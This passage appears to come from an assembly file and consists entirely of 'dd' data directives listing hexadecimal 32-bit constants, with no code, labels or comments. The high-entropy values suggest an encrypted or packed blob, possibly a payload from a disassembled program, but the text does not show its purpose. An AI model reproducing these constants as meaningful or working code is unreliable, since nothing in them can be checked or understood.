		dd 0C0BEF0AEh, 0F02E4F59h, 153E8DF1h, 0FB9C404Ah, 117BC64Ch
		dd 89A063EEh, 59EEDEFDh, 0D1307E17h, 66A81027h,	8B06A715h
		dd 0FADFF9EDh, 8EDAC438h, 17130B27h, 51845059h,	0A668522Eh
		dd 5C871E32h, 17E794C3h, 0AA845059h, 18E05234h,	0B79D2C46h
		dd 510FB2EDh, 0B12A309Ah, 0CD4A1954h, 0BB2BE2BCh, 0C66E28B6h
		dd 18F145C1h, 9307402Fh, 0D1DAFE52h, 0C0BE8482h, 2EB44859h
		dd 0DC9251B3h, 0B12FD514h, 61E16661h, 0D09D96A2h, 460E91E6h
		dd 3FF186D7h, 5C871B8Eh, 17E794C3h, 42845059h, 18E05248h
		dd 19465246h, 54EFD438h, 58F5519Ah, 0C306E646h,	0A7D9D9C5h
		dd 97D760D7h, 0B69BDA11h, 0F2DA5064h, 4347AAB5h, 0C0E307F7h
		dd 38D00A27h, 96D7043Bh, 8501C3F7h, 9B1DBF8h, 7C0223C6h
		dd 0C0BE8C53h, 7CA63059h, 0E2852CE7h, 1D6FD42Eh, 0C302022Eh
		dd 4D97C359h, 0DCE123EBh, 0F0E56BB9h, 2CE9A9C1h, 0AE64D770h
		dd 68663772h, 8E22A9C4h, 569755FCh, 0FCE0C9CAh,	0B8555059h
		dd 0FE87034Ah, 0CD7193EFh, 17E093EFh, 26355059h, 0E1D03808h
		dd 0AA21221Ah, 0D8401998h, 82818A37h, 0AE73EEF4h, 0C3F551C5h
		dd 33630579h, 5C6E47F3h, 0C3F4512Fh, 877EF4DAh,	0E9A00B5Bh
		dd 9BFACAA4h, 17E2CECEh, 99245059h, 258E5219h, 0B48967DBh
		dd 297593D2h, 5B78BD5Ch, 516E442Dh, 0A69F42FDh,	5018BEC1h
		dd 196E4732h, 0A09D1DF5h, 9A0223C1h, 0A00237A8h, 44C202C1h
		dd 8072A13Eh, 0E941901Ch, 0A94C3873h, 0B9994534h, 0AB4DAE3Fh
		dd 67527E6Dh, 7A570E73h, 5187CF0Eh, 0DA13C6B7h,	8E815140h
		dd 75CC4955h, 0E29B9CD3h, 0F48E320h, 64D380Ah, 185D0501h
		dd 13A49872h, 0FAE20B78h, 4614506Fh, 0DBA5C26Dh, 8555C7E4h
		dd 8DA159CDh, 0D27749F2h, 0CA31FCD7h, 0DEEEA58h, 2ACED22h
		dd 9D0FAF86h, 5BF69625h, 0E96122F5h, 3A591214h,	459A94A6h
		dd 90078D2Bh, 284A95Eh,	953BAF86h, 6DCEB141h, 512AFBA1h
		dd 9424FDC8h, 0CFC5AE58h, 0ECCAD747h, 0BC04542Dh, 1D74C526h
		dd 0E85B92B8h, 0A7348F8Dh, 0E8DD608Fh, 0D5BAE58h, 767518B5h
		dd 1AFC8D7Eh, 0E8D15C70h, 9D58954Ah, 0D5BAE58h,	835B2FA6h
		dd 4C98C8FAh, 7F35D1A5h, 0D200003h, 56524465h, 0B481F075h
		dd 0E7ACE6A3h, 62DCDC22h, 0BAFC3CE7h, 0E8DD7956h, 0BAFA954Ah
		dd 0E8D8AE22h, 0F2835481h, 84850136h, 5F696A90h, 8FE90EE0h
		dd 5A445EEh, 67F8D8D1h,	0E2AAE470h, 96DE350h, 0F972A901h
		dd 0E5EEA0F6h, 99CAC92Eh, 0BE979740h, 4EDA2A4Fh, 0F05A71DFh
		dd 9EF2FAE1h, 0C93EFABAh, 3956F814h, 0B37EF08Ah, 0A402EA14h
		dd 664B4593h, 79246C88h, 2CF02BE5h, 0B7B460D2h,	0A83DF4FEh
		dd 2FA4D2Ch, 0E5E773DFh, 9C3E9496h, 379E92Eh, 0E18A71DFh
		dd 0C2E4C484h, 0CBEA0DA8h, 66D6D995h, 0B05DEEBDh, 686E724Bh
		dd 34DEEDEh, 61CC71DFh,	0EBBEF980h, 1F5DF1F6h, 2430384Ah
		dd 0EBB113B1h, 7854E9F0h, 83CF6D9Eh, 206CA3F3h,	3770A78h
		dd 3BD9DBDFh, 42C4A0DDh, 36BA555Fh, 1293A23Dh, 0E3E1236Ah
		dd 8169E923h, 0C653C899h, 0F5D91A84h, 4C4D2D2Dh, 9348945Ch
		dd 8AAAB016h, 8A5AAB32h, 855F09FAh, 934D2EFAh, 0CE7D9516h
		dd 0CC77CF5Ch, 3CA4B400h, 0F6A8E54Eh, 0E54CFC11h, 0BE57EE07h
		dd 816E03D7h, 0EB68D134h, 934AD5EAh, 0E2007C76h, 0EA5C09A3h
		dd 0EA468997h, 934AD6E2h, 95F4C060h, 84F38B7Bh,	0CB181033h
		dd 0DE133B7Ah, 9D86CB5Ah, 0E04D1E16h, 934895C4h, 8AAEB016h
		dd 853C866Eh, 855F09FAh, 934D2EFAh, 0CE619916h,	8D690805h
		dd 0EB7AD7AEh, 934AD144h, 0EE1514F9h, 4FE40EE9h, 0B2BECD56h
		dd 9B549E5Ah, 95804E63h, 82571069h, 9EC888E5h, 0BB4AD016h
		dd 934AD15Bh, 32D53638h, 8AB1D89Ch, 288210A5h, 20455D0Eh
		dd 98E980F2h, 0FF83A726h, 7411A78h, 1A4D2D5Bh, 9348945Ch
		dd 0CB34B016h, 0BC4AB758h, 855F09FAh, 934DB8FAh, 0C8C79316h
		dd 81354C28h, 0B214BA85h, 1EC888D2h, 9EB0A635h,	628CC103h
		dd 8B29EF99h, 78035AB4h, 0BDDC0B53h, 0D377CDC6h, 2956E475h
		dd 0A0A6A6BBh, 0A04808C6h, 6AD58F96h, 544E341Ch, 57F44F9Eh
		dd 0B0E24F9Eh, 0BF58F95h, 1AEA35D2h, 128043A4h,	7BF08859h
		dd 755ADD58h, 71E36C11h, 8D605144h, 0A0B5DF4Dh,	5A09E876h
		dd 0CF270F34h, 0CE9151FBh, 0A0B5E2F4h, 53CD67ABh, 785AF7ABh
		dd 0AD4507D0h, 5EC98F96h, 9B5AEB91h, 620212C4h,	0A2A653F9h
		dd 8B3ACE0Dh, 0FAB5DF4Dh, 12F7B205h, 94198496h,	0D033A9FAh
		dd 2357CABCh, 84F9E60Bh
		dd 0A0C4BC71h, 0D5473996h, 0A0BE52FDh, 2BD7AF96h, 97192243h
		dd 944E3971h, 0A0B5D771h, 893EC096h, 0D878346Dh, 686DD3DDh
		dd 49BB0724h, 7119F9DDh, 0A0B5DF4Eh, 68829293h,	7EC0F032h
		dd 802ECE85h, 0A02E0726h, 0A04806A5h, 43D58F96h, 3C5FF54Bh
		dd 57F44F9Eh, 0B0E24F9Eh, 194E8F95h, 7A6150BFh,	0F96BDA8Bh
		dd 5EF08B90h, 0BA64A57Bh, 14C3971h, 25523EFh, 1DC2D2AAh
		dd 0AF08CAAh, 70417A6Ah, 391CA17Dh, 0AD3B6C2Ah,	78389DFEh
		dd 0F8AA45E4h, 0D6D2CE68h, 0C32D13Ch, 9A59DEFEh, 50E3AC8Bh
		dd 3F7EA170h, 57AE3350h, 971CA770h, 0D2E37066h,	0BCF7A9h
		dd 8819F5A5h, 0D8BC061Dh, 77219835h, 807C63A4h,	0C1184EB2h
		dd 10DFA125h, 48BB5E91h, 9439D8EEh, 7733219Fh, 98D17CAAh
		dd 776F8B4Ch, 3CD4648Ch, 0B529FA16h, 347B2B2Ch,	6CC0FCEBh
		dd 0FD3B3E46h, 395B424Ch, 7CBCD8D5h, 58797B41h,	7B965DC1h
		dd 30B5CFD7h, 9B2058ACh, 0AB0DF2C6h, 888446D4h,	1E6EA77Fh
		dd 26AA6D73h, 5120FB21h, 0EC274A70h, 5D33251Bh,	54205453h
		dd 0C384A4EDh, 0B8545C62h, 9B2055ABh, 0B63B2C6h, 0C66046D5h
		dd 1E6EA77Fh, 26ADB6BFh, 543C5F21h, 5C274A70h, 5D3324E9h
		dd 542196E7h, 0B7A0A4EDh, 0DC545C4Eh, 9B205459h, 0A4BFAC6h
		dd 0C05C46D5h, 1E6EA77Fh, 7C9D176Bh, 543DA321h,	0D0274A70h
		dd 5D288A58h, 54204CBBh, 0A56CA4EDh, 545DC7h, 9B2054F9h
		dd 0A3252C6h, 0C0D846D5h, 1E6EA77Fh, 26AB5527h,	54286721h
		dd 2C274A70h, 5D294DC8h, 57AE228Fh, 7EECA4EDh, 0E4481F29h
		dd 772058AAh, 0C0424F2Ah, 6FA7A77Fh, 5EBB626h, 6F332CF9h
		dd 8BDB4AA5h, 487FA26h,	0EE32E8D5h, 26AB87AAh, 2A89A391h
		dd 543D246Fh, 69C50E70h, 0C3068502h, 5F065C62h,	98514BACh
		dd 0EA687692h, 0BE238C62h, 206FCE8Eh, 0C05D326Fh, 9B605C62h
		dd 42F9F44Bh, 773AD741h, 0CD512803h, 14DEA77Fh,	6F18A9B1h
		dd 0B3412DBEh, 8D9BA7E4h, 589E6A78h, 0EF957273h, 9AE5C12Dh
		dd 0E33EF57Fh, 0D2C4FFA7h, 49977CC3h, 0A729C13h, 543B0E50h
		dd 0D062A770h, 543ACE9Ah, 0F0651A70h, 0A0C8BA75h, 16BFEC38h
		dd 7BF21662h, 5FBD00B9h, 71A3029Ch, 543B642Fh, 0E212BB70h
		dd 1B6EFD7Bh, 4DCBC4h, 0B544C479h, 0C69BB071h, 5E185A70h
		dd 7D230ED0h, 0AD837A7Fh, 0EFC4E218h, 0FCDE9355h, 57AE228Eh
		dd 7D5F8350h, 7F49D073h, 962058AAh, 876D6158h, 5341CE0Fh
		dd 0C290C99Fh, 941B0688h, 8231E0F7h, 20887B14h,	2B3A3F2Ah
		dd 543B616Fh, 5DCBA070h, 54219BEDh, 2BBA7FBh, 9038884Bh
		dd 0E03EFF75h, 0FE927A39h, 0F4E34EE0h, 1F5E4AD6h, 5FC9C85Ah
		dd 83E5E60Fh, 0F7122329h, 0C08AFDE0h, 6F6117CFh, 3C1226A4h
		dd 31F76E04h, 14FFF7A8h, 0C48B738Ch, 65FBA195h,	0D4513DB6h
		dd 0C826DE54h, 450DCD0Dh, 0C98A3E1Fh, 452CD518h, 6C647F1Fh
		dd 0EFE5DE75h, 5750F2C2h, 9E280A7Bh, 908E715Ch,	67600F76h
		dd 65C775B2h, 0A13F704Ch, 0A10E824Fh, 7991DB34h, 0AC842FF3h
		dd 87A5F4FDh, 77385A88h, 0B112D4E9h, 7C4D8C5Ch,	4C66412Dh
		dd 0F85B4887h, 9FB7DD6Dh, 1C94269h, 0A17805Dh, 0ABDF1CF4h
		dd 882DFB6h, 6DC4CABh, 0EF50F333h, 0E083807Dh, 0E0CD9D87h
		dd 2B66CFC0h, 0C66AF2C2h, 0B389414Eh, 0B3E52D4Fh, 0C6AE25C6h
		dd 2A2E60DBh, 79D17CB4h, 0B0DB1382h, 7F614D7Ch,	0E460802Eh
		dd 8F23CDB7h, 8CE347B3h, 0E92C06D0h, 0EB1801F7h, 0B7D8F37h
		dd 0C59ADDFCh, 0DC8DAA17h, 0A885EBBBh, 0B4ED3928h, 0F8239650h
		dd 214CBD2Bh, 9EC0C9B5h, 367E230Ch, 5ADD7D4Eh, 1571E9FFh
		dd 98D63101h, 0A7CEE93Fh, 469794ECh, 340946A7h,	7E54FB72h
		dd 0ACA8B94h, 2339BBDAh, 8EAE4BC1h, 1C89467Bh, 0B5EE2A13h
		dd 5463329Eh, 1267A883h, 2BF751C2h, 0A1CC5FCEh,	64FCF7DBh
		dd 0EA3AB670h, 0F61E5505h, 98A9363h, 0EE62FA91h, 0EF50F2C2h
		dd 0FEF1A5C2h, 4C14BF8Ah, 0EF311777h, 8	dup(0EF50F2C2h)
		dd 6077CFC2h, 2DD8F2C2h, 959F8F71h, 53516AAAh, 9CAE09E9h
		dd 456F19A8h, 0F2B7D82Ah, 959FFFC7h, 520FB0E6h,	9DC0D1E9h
		dd 45FB19A8h, 31B7D82Ah, 959F8F13h, 52FB09A2h, 9D3FC3E9h
		dd 45E719A8h, 0FCB7D82Ah, 959F85D4h, 536E771Eh,	9DF8A7E9h
		dd 7E3319A8h, 0B9B7D82Ah, 959FFE66h, 52F5891Ah,	98FEA9E9h
		dd 541F19A8h, 0B0B7D82Ah, 958BBEECh, 53516A96h,	8C39C2E9h
		dd 45AB19A8h, 19B7D82Ah, 958BB85Ah, 52FB0992h, 9C8840E9h
		dd 0F21719A8h, 0A1B7D82Ah, 958BBA99h, 536E6CCEh, 9D4D6DE9h
		dd 4AA319A8h, 0E8B7D82Ah, 958BBA93h, 536E788Ah,	0BA4BE414h
		dd 615147B5h, 198D6A9h,	0BC265603h, 50CA900Ah, 39F03AF6h
		dd 62E6950Bh, 0C0220324h, 8A1307B6h, 9FCB3088h,	25C3A73Bh
		dd 20A9034Ch, 0F33DC5B9h, 68FC188Dh, 84CFAE1Ch,	0DE9E4014h
		dd 1273E0FBh, 3F1F42B0h, 9E58D010h, 0BC0B96EAh,	0A91C6A17h
		dd 0A40D2E7Ah, 6AD6DC1Ch, 0D68CAECFh, 0B1CC475Dh, 827AD9BDh
		dd 0E8DD87EDh, 4D07A7E4h, 0D4850C11h, 0A7C13E85h, 68B77F24h
		dd 63802419h, 19828E02h, 2A47D4A7h, 0A3EFF2C2h,	0E12F15Fh
		dd 0F9FEE997h, 81A118A8h, 70D999F8h, 0DA9AFD74h, 8CD9FC2h
		dd 0E2DBA13h, 6FA790BDh, 0F6B35041h, 5808C8FFh,	0CA282B28h
		dd 1D724C6h, 0EF6EECD8h, 1ADF97C2h, 310AC404h, 58C017DAh
		dd 29D8E7DBh, 0D2CB4441h, 56618E5Ch, 96F1134h, 622FD2C7h
		dd 0FDC56F37h, 0DE7EE698h, 0BA6CD450h, 0D31A8C05h, 9981BDF8h
		dd 187FEC69h, 0C3C5C404h, 0A8580351h, 0C0C7AB56h, 0CE4DAA69h
		dd 4335346Ah, 0C9BDC31Bh, 2962ADDh, 0C0570923h,	9CA84A1Fh
		dd 0A5E598E4h, 1F035FC3h, 7ADE46ABh, 99C7D765h,	0FFDFBD59h
		dd 0A55CC138h, 0E1575836h, 0B56A6375h, 15B3415Ch, 29503A0Fh
		dd 9A386C12h, 5AB0A390h, 0DB7F2C01h, 311177C7h,	0EA90CF25h
		dd 0D9495E24h, 189CDAD6h, 0F8468A41h, 0F2033F2Bh, 0B3FCDEB7h
		dd 0DB82A4AAh, 0DF180DFh, 0E47B471Ch, 339AEAC8h, 114E404Dh
		dd 7C56D67Eh, 2D57A3E2h, 0E74E609Eh, 0AB60608h,	5E573759h
		dd 24DDCFD2h, 0C9FE9CF0h, 0BC6CD36Ah, 0E2293B69h, 0D72B16D4h
		dd 48F861BEh, 0CD15D64Eh, 24B2125Ch, 1BEC5CCAh,	9B286DF0h
		dd 0E08485D1h, 0AC06FDCFh, 0AA96E213h, 1B9D20E4h, 2A56CAA7h
		dd 2A19F2C2h, 0EFA635Eh, 0ACC569B7h, 5DE6D376h,	28D52FB5h
		dd 0A1EC3AC7h, 500885Fh, 9731CEE4h, 8283CB7h, 0A4E3BD6Dh
		dd 0E97F4D8Ch, 0D1A7BB68h, 1D9F440h, 0C7DF17BBh, 7E9FFF42h
		dd 37161D67h, 74D2E16Ah, 2A0D7BC3h, 0BCF165A3h,	0E71B8E9Eh
		dd 15D1EBB5h, 45196437h, 11BE3643h, 0D39CEACFh,	0F71C5891h
		dd 3DB3D0E7h, 0DE390246h, 10796C05h, 0ADADD04Bh, 90AAA4B0h
		dd 69330A6Ch, 852B3124h, 0E12E9C9h, 4D756B30h, 0D50B6AFDh
		dd 0E669D4BBh, 6E57393Bh, 5A7DBFF3h, 4FB187D6h,	0BA63A327h
		dd 13092AF0h, 0A6728F5Ah, 95EBAB7Ch, 290FE70h, 410AC237h
		dd 0D2C2230Ch, 4A8DD75Ch, 0D0745DB5h, 56A3F4C0h, 0D54125F8h
		dd 0C0164D27h, 8F73F2F0h, 0D2DEEB0Eh, 16EE46A6h, 374E7AADh
		dd 0EBD67298h, 45063FE8h, 0E69FED8Ch, 0E7A1214Eh, 85FA295Ch
		dd 49CD2C07h, 973C1F84h, 0B253F320h, 7BDD869Dh,	0B8F6EC24h
		dd 0FA75D3D0h, 0F0933E9Bh, 9017030Eh, 354E3747h, 4EECB688h
		dd 0C126DB4Bh, 0B4CC96C0h, 0DCFA3EBEh, 7CE619B5h, 577930B6h
		dd 0D6E1E6BEh, 3D6B19D3h, 23D21474h
		dd 46FFB44Ah, 7068257Ch, 0D7493AFh, 1356CDF3h, 68246178h
		dd 87CFE6EAh, 9A2BF841h, 41C33F2Bh, 16FCB12Dh, 18D0651Bh
		dd 7E297FB4h, 0B6F2164Eh, 793746C3h, 0A9B48119h, 0FA763061h
		dd 366851BFh, 451C41C0h, 35B9C1C2h, 9E5738B9h, 18703338h
		dd 8507C404h, 1C64D342h, 4B496AC3h, 0DF839649h,	0C003A272h
		dd 0D352009Fh, 3DBB7549h, 0AB2A7110h, 59A105C5h, 0F8AB121Dh
		dd 6DBF827Dh, 35B393A3h, 0E0FF3960h, 0AE706521h, 0E7096289h
		dd 0E1A0AE9h, 2F87FFB1h, 11D3758Bh, 0C9D1EA82h,	9BDF5496h
		dd 4250E4B6h, 0AAAAB483h, 81A11755h, 0C9FC8EF8h, 0F39FF192h
		dd 0F7647242h, 0E2E55538h, 0AD4535E7h, 91BF0C1Eh, 0A8DB77B6h
		dd 88CFA113h, 0C87F7691h, 1C796A1Ch, 76B7374Eh,	0D87F7C78h
		dd 7D53A526h, 0D1D06A2Ah, 0AAA5F0A9h, 0B485D411h, 3423C4F7h
		dd 0EEF3F7BFh, 2AD30B79h, 807FE1C2h, 0AAA5D0D6h, 2B9CF09Bh
		dd 4BFD518Dh, 8DA6D45Eh, 0FBA8B7CAh, 0F1D6E5D0h, 0D51B4553h
		dd 0BCB2BB31h, 46415E78h, 16D96BF3h, 0BBDB6B6Ch, 81F49B87h
		dd 0B21E5FF8h, 1A75A634h, 3C4B33D6h, 189B580h, 8B59B3E6h
		dd 0A984B1F5h, 0B9DC724Dh, 0BD9F7C1Bh, 55FF6128h, 0A695C782h
		dd 0C8E8AC62h, 76A74E7Fh, 477FE9Eh, 866411DCh, 0F8585CC1h
		dd 7533C13Ch, 0AC7C66C4h, 9081B55Ch, 45EB3F7Eh,	0C644D878h
		dd 1C0D4666h, 4E3AB384h, 4E039C04h, 6B434DB0h, 0DC54C976h
		dd 20249B28h, 143D64CBh, 390458F4h, 396AFAB0h, 6657342Dh
		dd 0D38619E5h, 0C89FF218h, 9B0BC56Ch, 0CB1CEAE2h, 0EE25659Eh
		dd 0E35B566Eh, 5340EBAh, 0D0AB1D3Fh, 0C7088863h, 65CE6949h
		dd 0AAAB3972h, 2CB089C6h, 40A996ACh, 0E4A40646h, 5AB0A3A7h
		dd 0D13866h, 979F3183h,	6D068D16h, 0D8A492F2h, 0E7D51CA8h
		dd 0F0D17CF8h, 0C753A9AFh, 0EA4344E4h, 0EC46EFC7h, 0FD5A7E9Bh
		dd 0A6ADE4B6h, 8EFAB0B9h, 0DFE3F672h, 427E6588h, 0FAB92BABh
		dd 0D035B008h, 0B51A8AF9h, 0CB365F1Ch, 0E1279A0Ch, 0B2CAB65Ch
		dd 0E19FF1A3h, 76E71250h, 2B75E559h, 46872F28h,	193DA012h
		dd 0CFFDA948h, 8F772CD3h, 2ADFFC32h, 4BB19723h,	0F1B5A57Eh
		dd 1099E238h, 1C505CBAh, 96DCD519h, 0A697A425h,	0F9F71777h
		dd 0FA390439h, 0DD48E500h, 3420DA97h, 94C42243h, 0C8265244h
		dd 0B3262CCEh, 3FDC0C8Eh, 0AC30552h, 0C5C85162h, 95A21E21h
		dd 0D1EFBA1Fh, 31241370h, 101B9D95h, 0F87616B6h, 0EF50ED2Eh
		dd 2536D41Dh, 2C4308C5h, 5B878CD1h, 0E7AB6769h,	184C4C7Fh
		dd 3470457h, 0AB40C137h, 0BE73D73Eh, 187257CEh,	0E1C7146h
		dd 0D80CB248h, 2E9C34B6h, 5EAEB356h, 34D159ADh,	99EC19ACh
		dd 2939632Ah, 0D4850B21h, 0FF19A494h, 8922E31h,	55569E5Ch
		dd 0A9B9E0ECh, 92545DD7h, 0DECC1579h, 0A870CBF9h, 0D6BAAC7Bh
		dd 8E020441h, 33B7D3A5h, 9BDF2C2h, 0AD45311Fh, 2945BB1Eh
		dd 0DCEAF342h, 0E52F6B6h, 7C5C1516h, 0F2456ABAh, 1DC2E77Ch
		dd 1EAF93B7h, 7A7D1195h, 0E4CB7CD8h, 31C12CCDh,	4602A532h
		dd 65DFE389h, 3E0F7066h, 16140720h, 0CDFA6DB6h,	0EF6EE987h
		dd 954E4E9h, 7E175116h,	0A1F8CEFEh, 0A3125871h,	0E4530508h
		dd 6883A432h, 107A0954h, 0C9654F24h, 0BCCCFFCDh, 0BEF867A7h
		dd 2A309A8Fh, 27BFAF4Ch, 0C8712392h, 0D5A593C3h, 0F24341AFh
		dd 242B21A1h, 2856F238h, 0B0AD7553h, 0BCC97CF8h, 5687167Bh
		dd 4E772A90h, 2A3DE305h, 4BCFE650h, 0BBD4127Eh,	19FF247h
		dd 0D07F4AACh, 0EC91825Ch, 51B4EB17h, 0CB1CEBE1h, 80BAB25Ch
		dd 0C7BE08F7h, 49F797BCh, 0CB9F8012h, 2425CB98h, 0FBF12261h
		dd 2767E5D0h, 244620D5h, 0FBD1392Dh, 90526FB7h,	16D08410h
		dd 3615E4B6h, 0EF51332Bh, 0D821EFE1h, 0F72BDB96h, 0A5D8B724h
		dd 872AFA5h, 1CBD9BFCh,	8DE10EBFh, 4EAF030Eh, 16060E4h
		dd 6C6B5AA8h, 77BCFF7Eh, 2A32D443h, 4E9CA74Ch, 0C8712160h
		dd 0D5A593C3h, 2848A124h, 7EACC372h, 251EA012h,	0B494C9C2h
		dd 0ED9FF0F8h, 3B0C19F3h, 0CB1CE426h, 0E4D4F61Ah, 3834754Bh
		dd 252A7641h, 4BF0F95Fh, 6A5C228h, 0F3F20623h, 6D25A9ADh
		dd 317BD6Fh, 758C736Fh,	0FB8A2CFBh, 1F53A9C2h, 43741CCEh
		dd 0FEFEDCDh, 6D6E36C7h, 47161B05h, 796F0903h, 343509F2h
		dd 0DE087A19h, 4E8EE371h, 0CB6AD27Fh, 1744485h,	0C9830C22h
		dd 4A53BD67h, 0B2CAB65Ch, 399FF1A3h, 0D65814Ch,	0FDCD556h
		dd 21FDF159h, 686DADF7h, 333A492Bh, 74B4510Ch, 9356302Dh
		dd 0B84248E4h, 0D4B3A25Dh, 0E2AD4757h, 131466AFh, 480FCB7Eh
		dd 0A50F2C0h, 0C87122D8h, 658693C3h, 0C0581732h, 78C3C217h
		dd 8CCE553h, 0A8A0B57Ah, 153C777Bh, 0AB1FEA27h,	9C534140h
		dd 8A5D3545h, 7628B863h, 0A9F910EEh, 0ED92DAD1h, 6A72A420h
		dd 162AFBACh, 688B5A28h, 0FE4E18B9h, 2A8C1D91h,	0E82AF2C2h
		dd 0C83E8B29h, 30DE55Ch, 123FDD2Bh, 0CBDF228Eh,	0E37D3A6Dh
		dd 1B5A121Dh, 74AD2D3Fh, 3E0F6DF0h, 0E470E3A8h,	37D2ACEDh
		dd 0AC371567h, 4E1CF013h, 1B9DEA0Ch, 2AD3A8A7h,	0A4EBF2C2h
		dd 0B09ED8ABh, 41F1C0ACh, 0AD782858h, 8561CEB5h, 2517E57h
		dd 7D602B43h, 0E0443503h, 7049C916h, 59CC28Eh, 1316036Ch
		dd 58C9E220h, 4655C5AFh, 0E4964B3Ah, 0EB4ACD3Bh, 0B29F8334h
		dd 0D7630CC6h, 20223215h, 0A0CA49A4h, 0E4DB6354h, 0EF6E98E2h
		dd 544308C5h, 0BAB403DEh, 57376806h, 8C19B390h,	1ECDFF6Bh
		dd 55086863h, 4E374A9h,	1C4B3C7Eh, 3BFB4950h, 0B5E6C13Ch
		dd 0A8B7DE95h, 0C44A2CC0h, 6EBFE69h, 0FF607919h, 73000C4Ch
		dd 768E5F75h, 1B16C241h, 9D53F2C0h, 3D396148h, 0A8D78FBCh
		dd 95AC9A6Ah, 0DDF62810h, 834D27B9h, 0A5C05446h, 0AFF383A5h
		dd 0B4C86666h, 0D72B16D7h, 4395305Ah, 0E5738CAh, 0F61B9E9Eh
		dd 0CDD536AAh, 74B7E75Ch, 0F935ED69h, 66A00657h, 55DCF174h
		dd 272F265h, 0C8712207h, 0A593C3h, 0D49A7CDFh, 7220E04Ch
		dd 0D2B558BDh, 76E0A15Ch, 348B7379h, 86D05B73h,	0B40AF2C2h
		dd 2CC0D69Bh, 0AD9CC419h, 0ABBD2358h, 0DF89FA93h, 0B8FBBB91h
		dd 6A3FA7FAh, 2A6F5CBBh, 30B28C2h, 437E8E90h, 94939FE2h
		dd 9642E559h, 3B991EE8h, 3AAAE698h, 93320C8Ch, 0AED95FCEh
		dd 1510940h, 9C22C432h,	0C71A39EFh, 0CAA19649h,	91100482h
		dd 0C0C59E86h, 0FC052866h, 0C70B8841h, 5A273587h, 572F0288h
		dd 68B275A0h, 6C668E21h, 0C28325BFh, 0E2AD4756h, 2D4B6C97h
		dd 55DF7F26h, 6751137Fh, 162A3498h, 17DCCBB6h, 2ADFFECBh
		dd 0FF66773Dh, 972637C3h, 0DE5089E2h, 4F0B825Ch, 38A570B8h
		dd 29FFF28Eh, 5FF7CD78h, 17D9C3Ah, 0EFA3A56Ch, 72F9B9B8h
		dd 0C4C929B2h, 4F821349h, 0C8712160h, 0A593C3h,	168533F8h
		dd 0CB54E698h, 74B2B024h, 9356302Dh, 2FFA12E9h,	0C5C464C6h
		dd 9E772B25h, 0EF517AE0h, 84B5FC0h, 0E57024ECh,	70E6EA24h
		dd 0E55177FDh, 0C35464Dh, 3D3481EDh, 8CD1E2D2h,	408ADC69h
		dd 9FF6CD84h, 800A4B61h, 7148DC1Ch, 0D6D016C6h,	4BF4FD51h
		dd 0D37A0A9Eh, 0D7B2B46h, 2711EA10h, 0FFADB592h, 67D6AB69h
		dd 6423F046h, 0FA85374Bh, 5A5E73C7h, 0AD5974Fh,	2F1DF539h
		dd 4D3FCA18h, 13EBF88Eh, 5F50F041h, 0BCCFFF5h, 0AC0DCC16h
		dd 381D0013h, 579BF37Eh, 26E06910h, 0FF919793h,	2F7CC91h
		dd 97417BE7h, 0F94CE8A7h, 0EF4E0810h, 68FC15A0h, 0DFE5AE1Ch
		dd 0EB803C7Dh, 26D0D2Ch
		dd 8F22040Fh, 82A765Bh,	64F8E29h, 5DF457B0h, 43802C4Bh
		dd 8ADF0844h, 0CA2AD79Bh, 579F8FCFh, 6CE058A3h,	0A029579Eh
		dd 0A7B87328h, 7D4909A9h, 906EBEA5h, 1DC0A2Ch, 0D189FDh
		dd 0CDA0F3F9h, 4D52F55Ch, 5928606Ch, 0BB6C104Ch, 0AA8AFE6Ch
		dd 0A8CF831Fh, 71BDF6ADh, 0AC7AC7D4h, 0B4593738h, 342FD917h
		dd 0E353A9A1h, 6E71EF14h, 47D6C555h, 143C38D1h,	629A131Ch
		dd 42CAE7BAh, 110C74D6h, 0A695BB98h, 0E9962084h, 0BD443275h
		dd 0FFEBD5D7h, 0CB2FA906h, 8440ED58h, 8057CEB4h, 698DCAB5h
		dd 3C9FF5D9h, 0D0617994h, 8F441F5Ch, 96CF3F4Ah,	5F7124F4h
		dd 0F5B0475Eh, 3354DF17h, 0EB3519BDh, 1ECEE257h, 0C9FDB93h
		dd 54B18ADCh, 0D08D17F3h, 88BA86A1h, 95188038h,	8A03AABAh
		dd 5F7BF2C2h, 2CC0D6C5h, 0C8DAFF33h, 3CBF3524h,	28203EF8h
		dd 57A39F3Ah, 843A2B38h, 0A2E2D24Ch, 212B9575h,	0B31E1001h
		dd 0C8D00665h, 0D54C6599h, 2B830B7Ch, 0C996B797h, 50AFE55Fh
		dd 0B90BFE42h, 81AAB64Eh, 0EA7DE014h, 8CCBE238h, 25C3A2DDh
		dd 68FD464Ch, 2B88E2DCh, 8117FEDh, 6AA7F1B3h, 13479E39h
		dd 4DD56178h, 49B6C78Bh, 14C91F69h, 7E56D67Eh, 9DE66A98h
		dd 14DB2F62h, 4715D020h, 904001E5h, 3F503F79h, 0B1253D80h
		dd 0BF8FE9A7h, 0A11539h, 0E702C237h, 918F69EDh,	1A894622h
		dd 1B9DDCA4h, 0B4FC6377h, 6B45678Bh, 4D95A5A4h,	0CB1A9A82h
		dd 438D3284h, 0DBD99526h, 5FB6D09h, 0ED43E26Bh,	4328C696h
		dd 5681137Ah, 15773DFAh, 3490CB7Eh, 5B50D0E7h, 5EAEB59Eh
		dd 11D9A943h, 0CDA94130h, 0E2E254E0h, 85BF1E66h, 0FED1BB2Ah
		dd 5F8335B2h, 20D1BCF7h, 7E2DB5B5h, 0A6BFF8C4h,	0D0BC8783h
		dd 71C3253Fh, 8F0C608Fh, 0C21830A8h, 0DA12371Fh, 71C328B0h
		dd 0BE828E9Ch, 0B1592DD8h, 0DE580F24h, 0EA6C2A6Ah, 0C02AD172h
		dd 0EC5AA21Fh, 71C32759h, 54797378h, 965AA5DEh,	0CA803EA0h
		dd 0DCC3B891h, 0AADBF2CCh, 0D7C0D69Bh, 1192371Eh, 830E698h
		dd 39E6A8FDh, 988F6DF0h, 39E71CEEh, 0C4DE6DF0h,	0C4FFEC42h
		dd 0F6AEF41Ch, 0E4C16437h, 42E075D3h, 6675138h,	2A5C0F87h
		dd 6FD1F2C2h, 512B6DEAh, 478BD110h, 351908F7h, 0D07EED01h
		dd 0BFB8705Ch, 5758B88h, 0F8B83C7Eh, 41BFC792h,	0B020BABh
		dd 0BE730072h, 0E98BA25Dh, 0F0835D5Dh, 72ED78AAh, 0FD8E82BCh
		dd 5F3EE22Dh, 1D9D10ACh, 0D21EC153h, 0A438AC82h, 9502F710h
		dd 17B9BB39h, 2C44D856h, 0FB1E8E9Fh, 0B1CA684Ch, 2E7CB1BDh
		dd 5E5B2AD6h, 60311D4Ch, 0F085C579h, 29EE9FD6h,	554B1353h
